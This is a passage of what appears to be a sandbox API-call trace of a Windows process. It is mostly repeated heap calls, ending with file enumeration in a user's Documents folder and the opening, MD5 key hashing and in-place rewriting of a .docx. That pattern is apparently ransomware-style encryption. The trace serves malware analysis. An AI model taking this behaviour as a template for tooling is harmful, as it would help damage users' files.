RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\") returned="Pgl1JgetxAYIiS\\" [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf08 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\") returned="ZHL2s_-N8agn\\" [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0068.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0068.855] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.856] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.856] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.856] PathFindFileNameW (pszPath="") returned="" [0068.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe179b20, ftCreationTime.dwHighDateTime=0x1d4cc13, ftLastAccessTime.dwLowDateTime=0x83c4a0d0, ftLastAccessTime.dwHighDateTime=0x1d4c564, ftLastWriteTime.dwLowDateTime=0x83c4a0d0, ftLastWriteTime.dwHighDateTime=0x1d4c564, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.856] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe179b20, ftCreationTime.dwHighDateTime=0x1d4cc13, ftLastAccessTime.dwLowDateTime=0x83c4a0d0, ftLastAccessTime.dwHighDateTime=0x1d4c564, ftLastWriteTime.dwLowDateTime=0x83c4a0d0, ftLastWriteTime.dwHighDateTime=0x1d4c564, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.856] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3ef8bb0, ftCreationTime.dwHighDateTime=0x1d4c8c3, ftLastAccessTime.dwLowDateTime=0x7bcdb870, ftLastAccessTime.dwHighDateTime=0x1d4cda3, ftLastWriteTime.dwLowDateTime=0x7bcdb870, ftLastWriteTime.dwHighDateTime=0x1d4cda3, nFileSizeHigh=0x0, nFileSizeLow=0x179a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5wR63HlMWYvMti0btzx.docx", cAlternateFileName="5WR63H~1.DOC")) returned 1 [0068.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.856] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\5wR63HlMWYvMti0btzx.docx") returned=".docx" [0068.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Pgl1JgetxAYIiS\\5wR63HlMWYvMti0btzx.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\pgl1jgetxayiis\\5wr63hlmwyvmti0btzx.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.857] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=96673) returned 1 [0068.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.859] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1797b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.859] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.860] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.860] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x179a1, lpOverlapped=0x0) returned 1 [0068.860] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.861] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.861] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.861] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.861] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.861] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.861] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.861] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.861] GetLastError () returned 0x0 [0068.862] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.862] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x179a0) returned 0x32b2f40 [0068.862] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.862] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.862] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x1799c, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x1799c, lpOverlapped=0x0) returned 1 [0068.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.863] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x179a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 